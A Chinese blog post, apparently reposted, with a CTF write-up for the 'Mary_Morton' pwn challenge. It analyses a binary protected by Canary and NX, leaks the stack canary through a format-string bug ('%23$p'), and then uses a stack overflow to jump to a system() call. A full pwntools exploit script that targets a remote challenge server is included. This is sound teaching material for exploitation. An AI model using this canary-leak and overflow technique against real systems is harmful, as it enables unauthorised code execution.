其他分享
首页 > 其他分享> > 攻防世界-Mary_Morton

攻防世界-Mary_Morton

作者:互联网

检查文件信息

在这里插入图片描述

amd64-elf文件
开启了Canary保护
开启了NX保护

ida静态分析

在这里插入图片描述
进入到sub_4008EB函数 格式化字符串漏洞
在这里插入图片描述
另外进入到sub_400960()函数有栈溢出漏洞
在这里插入图片描述
在这里插入图片描述

但是有一点开启了Canary 那么我们可以通过 格式化字符串任意读 泄露Canary地址 然后利用这个地址来进行溢出漏洞的利用 栈分布如图
在这里插入图片描述
而我们知道 v2就是用来储存canary的值的变量
而buf 大小位0x90
v2的大小位 0x8
覆盖return addr,需要0x90-0x8=0x88大小去覆盖,然后放上canary的值,0覆盖ebp,最后返回地址改为system的返回地址既可以

在这里插入图片描述
但是我们要确定偏移地址
所以我们用gdb确定偏移地址是6位
但是因为是amd64位
所以有8个寄存器来存值
继而
偏移量为 0x88/0x8 = 0x11 也就是17
那么 17+6 = 23就是canary的值
格式化 payload = ‘%23$p’
在这里插入图片描述

exp

#_*_coding:utf-8_*_
from pwn import *
import sys
context.log_level = 'debug'
ip = '111.200.241.244'
port = 60960
if sys.argv[1] == 'remote':
    io = remote(ip,port)
    #elf = ELF('./Mary_Morton')
else:
    io = process('./Mary_Morton')
    #elf = ELF('./Mary_Morton')

#buf ---> (0x90 - 0x8) / 0x8 = 0x11  |||  0x11+6
io.recvuntil("Select your weapon ")
io.sendline("2")
system_addr = 0x004008DA
payload = "%23$p"
io.sendline(payload)
io.recvuntil("0x")
canary_addr = int(io.recv(16),16)
print(hex(canary_addr))
io.recvuntil("3. Exit the battle ")
io.sendline("1")
payload = "a" * 0x88 + p64(canary_addr)+p64(0)+p64(system_addr)
io.sendline(payload)
io.interactive()

标签:攻防,0x8,addr,canary,payload,io,Morton,Mary
来源: https://blog.csdn.net/Henlenl/article/details/121643311